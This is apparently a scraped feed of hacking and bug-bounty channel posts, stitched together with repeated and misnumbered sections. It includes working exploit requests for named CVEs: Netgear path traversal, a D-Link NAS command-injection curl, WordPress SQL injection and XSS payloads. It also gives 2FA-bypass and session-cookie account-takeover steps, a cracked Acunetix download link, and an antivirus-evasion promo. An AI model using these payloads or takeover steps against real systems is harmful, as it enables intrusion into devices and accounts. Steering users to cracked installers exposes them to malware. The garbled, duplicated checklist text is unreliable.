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🛡️ Cybersecurity enthusiast | 💻 Helping secure the digital world | 🌐 Web App Tester | 🕵️♂️ OSINT Specialist Admin: @laazy_hack3r
⛏How to Use IPv4 to Bypass Any Signature-Based Antivirus Detection🔯
In this video you will learn technique for bypassing signature based antivirus detection by converting shellcode into IPv4 addresses. see exactly how this bypass method works
Posted by @BugSpy don't share without credit.
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Hack the Cybersecurity Interview - A complete interview preparation guide for jumpstarting your cybersecurity career by Ken Underhill, Christophe Foulon and Tia Hopkins (2022)
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💙Cybersecurity Guide💙
Cybersecurity involves strategies and technologies designed to protect devices, networks, and data from unauthorized access or attacks.
Ensuring that information is not accessed by unauthorized individuals.
Maintaining the accuracy and reliability of data by preventing modifications.
Ensuring that information and resources are accessible to authorized users when needed.
Phishing Attacks & Spammming
Malicious Websites/Site Spoofing
Password Cracking
Man-in-the-Middle Attacks (MITM)
Ransomware & Malwares
Insider Threats
Unpatched Softwares
Firewalls
Antivirus Softwares
Encryption Softwares
Access Controls#cidint
Network Security
Application Security
Incident Response
Security Policies
Threat Intelligence
Penetration Testing
Security Information and Event Management
Zero Trust Architecture
:-@MajorKali
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■■■□□ CSRF + POST Body Param Reflection = POST-Based XSS.
https://blog.bhuwanbhetwal.com.np/csrf-post-body-param-reflection-post-based-xss-a-brainfuck
4. Status Code Manipulation
- If the response status code is 4XX, change it to 200 OK to bypass 2FA.
5. 2FA Code Reusability
- Request a 2FA code and use it. Then try reusing it or requesting multiple codes to check if previously requested codes expire.
6. CSRF on 2FA Disable Feature
- Request a 2FA code and use it. Then try reusing it or requesting multiple codes to check if previously requested codes expire.
7. Backup Code Abuse
- Use techniques like response/status code manipulation, brute-force, etc., to bypass backup codes and disable/reset 2FA.
8. Enabling 2FA Doesn't Expire Previous Session
- Log in to the application in two different browsers. Enable 2FA in one session. Use the other session to check if it’s still active, which could be an issue.
9. 2FA Refer Check Bypass
- Directly navigate to the page after 2FA or any authenticated page. If it doesn't work, change the refer header to the 2FA page URL.
10. 2FA Code Leakage in Response
- Capture the request when 2FA code is triggered. Check the response to see if the 2FA code is leaked.
11. JS File Analysis
- Analyze all JS files referred in the response when triggering the 2FA code request to see if any contain information to bypass 2FA.
12. Lack of Brute-Force Protection
- Request 2FA codes repeatedly. If there’s no rate limit, it’s a rate limit issue. Try brute-forcing the 2FA code.
13. Password Reset/Email Change - 2FA Disable
- Change the victim's email or password. 2FA might be disabled, depending on the organization's policy.
14. Missing 2FA Code Integrity Validation
- Use a valid 2FA code from your account in the victim's 2FA request to see if it bypasses 2FA protection.
15. Direct Request
- Directly navigate to the page after 2FA or any authenticated page. Change the refer header as if you came from the 2FA page.
16. Reusing Token
- Try reusing a previously used token inside the account to authenticate.
17. Sharing Unused Tokens
- Check if you can get a token from your account and use it to bypass 2FA in a different account.
18. Leaked Token
- Check if a token is leaked in the response from the web application.
19. Session Permission
- Use the same session to start the flow using your account and the victim's account. Complete 2FA with your account but try accessing the next step with the victim's account.
20. Password Reset Function
- Check if the password reset function logs the user in after completion. Try reusing the link to reset the password multiple times.
21. Lack of Rate Limit
- Check if there’s a limit on the number of codes you can try. Brute force if there’s no limit.
22. Flow Rate Limit but No Rate Limit
- If there’s a flow rate limit but no rate limit, you can brute force the code with enough time.
23. Re-send Code and Reset the Limit
- If24. Infinite OTP Regeneration
- If you can generate a new OTP infinitely and the OTP is simple enough (e.g., 4 numbers), you can try the same 4 or 5 tokens every time and generate OTPs until it matches.
24. Guessable Cookie
- If the "remember me" functionality uses a guessable code in a new cookie, try to guess it.
25. Guessable Cookie
- If the "remember me" functionality uses a guessable code in a new cookie, try to guess it.
26. IP Address
- If the "remember me" functionality is attached to your IP address, you can try to figure out the IP address of the victim and impersonate it using the X-Forwarded-For header.
27. Subdomains
- Check for "testing" subdomains with login functionality. They might not support 2FA or might have vulnerable versions of it.
28. APIs
- Look for APIs located under a /v*/ directory. Older API endpoints might be vulnerable to 2FA bypass.
29. Previous Sessions
- When 2FA is enabled, previous sessions should be ended. If not, an attacker could hijack an active session
⚠️ S3 Bucket Recon ⚠️
Source : https://github.com/securitycipher/awsome-websecurity-checklist/blob/main/Mindmaps/S3-Bucket%20Recon.png
[ Passive Recon: Subdomains]
Key points of the report:
💬 What is DNS
💬 Difference between DNS and Vhost
💬 Working with passive DNS
💬 Popular dictionaries for searching
💬 Search utilities
Bug Bounty tips
IDOR via Reset password link
1- Ask for reset password
2- Click on the link and add new pass
3- Intercept the request with burpsuite
4- Found email parameter
5- Replace my email to the victim email
6- Found that the password of the victim is changed.
Breaking Down Multipart Parsers: File upload validation bypass
https://blog.sicuranext.com/breaking-down-multipart-parsers-validation-bypass/
Dorks and JS Files by zseano
https://www.youtube.com/watch?v=0jM8dDVifaI
Reduce Noise in Burp Suite with This Simple Trick! 🔥
💡 Just add the following patterns in Burp Suite under Proxy > Options > TLS Pass Through:
.*\.google\.com
.*\.gstatic\.com
.*\.googleapis\.com
.*\.pki\.goog
.*\.mozilla\..*
🕷Robofinder
I've developed a Python script that allows you to search for and retrieve historical robots.txt files for any given website using Archive.org. This tool is particularly useful for security researchers and web archivists to discover previously accessible paths or directories that were once listed in a site's robots.txt.
1. Clone the repository and install the required dependencies:
git clone https://github.com/Spix0r/robofinder.git
cd robofinder
pip install -r requirements.txt
2. Run the program by providing a URL with the -u flag:
python3 robofinder.py -u https://example.com
👀 Discover additional commands and options on GitHub page (don’t forget to give it a star ⭐️)👇
📱Github: 🔗Link
#CyberSecurity #bugbountyTools #bugbounty #Recon #reconnaissance #infosec #Archive #bugbountytips
🔸🔸🔸🔸🔸🔸🔸🔸
⚡ Boost The Channel
🕷 /channel/bugbounty_tech
🔸🔸🔸🔸🔸🔸🔸🔸
🕵️ How to Leverage Elmah Disclosures for Account Takeover:
1️⃣ Locate the Elmah File: Found an Elmah file on your target? Open it by navigating to /elmah or /elmah.axd.
2️⃣ View Error Logs: Click "Details" on any log entry to reveal the full HTTP request, including headers.
3️⃣ Look for Session Cookies: The details may expose session cookies or internal routes tied to authenticated users.
4️⃣ Attempt Account Access: Use the disclosed session cookies on a request to the target, e.g., http://example[.]com. In many cases, this results in access to an internal employee or administrative accounts!
CVE ID : CVE-2024-6646
System : Netgear WN604
Type : Path Traversal
Exploit :
GET /downloadFile.php?file=config HTTP/1.1Читать полностью…
Acunetix v24.9.241015145 - 17 Oct 2024
Windows: https://pwn3rzs.co/scanner_web/acunetix/Acunetix-v24.9.241015145-Windows-Pwn3rzs-CyberArsenal.rar
Linux: https://pwn3rzs.co/scanner_web/acunetix/Acunetix-v24.9.241015145-Linux-Pwn3rzs-CyberArsenal.7z
Password: Pwn3rzs
⚠️ Installers come from the known scammer channel, so remember to pay attention and use a safe environment!!!! ⚠️
Changelog:
Too long for a post, refer here:https://www.acunetix.com/changelogs/acunetix-premium/v24-9-2-16-october-2024/
https://x.com/Cipher0ps_tech/status/1856219986382991786?t=mQzUz_vib-Wg2EbEBym8gw&s=35
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before 2FA.
30. Improper Access Control to Backup Codes
- If there are CORS misconfigurations or XSS vulnerabilities, backup codes can be stolen and used to bypass 2FA if the username and password are known.
31. Information Disclosure
- If confidential information, like the phone number, appears on the 2FA page that wasn't known previously, it's an information disclosure vulnerability.
32. Bypass 2FA with null or 000000
- Sometimes, 2FA can be bypassed by using null or 000000 as the code.
33. Previously Created Sessions Continue Being Valid After MFA Activation
- Access the same account on two devices. Enable 2FA on one device. If the session on the other device is still active, it's an issue.
34. Enable 2FA Without Verifying the Email
- Check if you can add 2FA to your account without verifying your email.
35. Password Not Checked When Disabling 2FA
- Try to disable 2FA without checking the password. If it succeeds, it’s a vulnerability.
36. “email” MFA Mode Allows Bypassing MFA From Victim’s Device When Device Trust Is Not Expired
- Use tools like Burp Suite to intercept requests. Modify the fields to bypass 2FA using the "email" mode.
Bypassing Two-Factor Authentication (2FA)
1. Flawed Two-Factor Verification Logic
- Attackers can log in with their own credentials but change the account cookie to any arbitrary username when submitting the verification code.
2. Clickjacking on 2FA Disable Feature
- Try to iframe the page where 2FA can be disabled. If successful, use social engineering to trick the victim.
3. Response Manipulation
- Check the 2FA request response. If it shows "Success":false, change it to "Success":true to bypass 2FA.
☄️Bug Bounty Tip: Finding Confidential Documents Fast☄️
1.Use Katana to scan for document URLs:
katana -u subdomainsList -em pdf,docx | tee endpointsPDF_DOC
grep -i 'redacted.*\.pdf$' endpointsPDF_DOC | sed -E 's/[-_]?redacted//gi' | sort -u | httpx -mc 200 -sc
CVE-2024-10914 (CVSS 9.2): Command Injection Flaw Threatens 61,000+ D-Link NAS Devices
The vulnerability is localized to the account_mgr.cgi script, particularly in the handling of the cgi_user_add command. The name parameter in this script does not adequately sanitize input, allowing for command execution.
Exploit:
curl "http://[Target-IP]/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27"
DNS-320 – Version 1.00
DNS-320LW – Version 1.01.0914.2012
DNS-325 – Versions 1.01 and 1.02
DNS-340L – Version 1.08
FOFA: app="D_Link-DNS-ShareCenter"Читать полностью…
𝗔𝗽𝗽𝗹𝘆𝗶𝗻𝗴 𝗟𝗟𝗠'𝘀 & 𝗚𝗲𝗻 𝗔𝗜 𝘁𝗼 𝗖𝘆𝗯𝗲𝗿𝘀𝗲𝗰𝘂𝗿𝗶𝘁𝘆 🍁
List of resources for everything you need to know about how to build and apply LLMs even if you don't have a background in data science, software engineering, machine learning, AI, but want to join the GenAI wave
Link 🔗:-
https://start.me/p/9oJvxx/applying-llms-genai-to-cyber-security
Check for Subdomain Takeover Vulnerabilities
This enumerates subdomains and checks if they resolve. Subdomains that return NXDOMAIN may be vulnerable to takeover if they point to external services.
subfinder -d target.com -silent | while read sub; do host $sub; done | grep "NXDOMAIN"
Learn javascript that helps you to read js files, Most important thing to do.
I Found a medium article on it that explain everything, MUST READ.
Part 1: https://bitthebyte.medium.com/javascript-for-bug-bounty-hunters-part-1-dd08ed34b5a8
Part 2: https://bitthebyte.medium.com/javascript-for-bug-bounty-hunters-part-2-f82164917e7
Part 3: https://bitthebyte.medium.com/javascript-for-bug-bounty-hunters-part-3-3b987f24ab27
https://github.com/ferreiraklet/jeeves
Time Based Blind Injection Scanner
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It's very simple and easy to learn i highly recommend it to learn and start your automation journey .
Uploaded by @BugSpy💘
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CVE ID : CVE-2024-5522
System : wordpress
Type : sql injectiton
Exploit :
HTML5 Video Player WordPress plugin before 2.5.27
GET /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -Anther PoC
% time curl "https://example.com/?rest_route=/h5vp/v1/video/1&id=1'+OR+(SELECT+1+FROM+(SELECT(SLEEP(5)))xyz)--+-"Читать полностью…
{"code":"not_found","message":"Data not found","data":{"status":404}}curl 0.01s user 0.02s system 0% cpu 5.760 total
CVE ID : CVE-2015-7377
System : wordpress
Type : Reflected XSS
Exploit :
Effects
Pie Register WordPress Plugin 2.0.18
XSS with base64 encode
http://localhost/wordpress/?page=pie-register&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==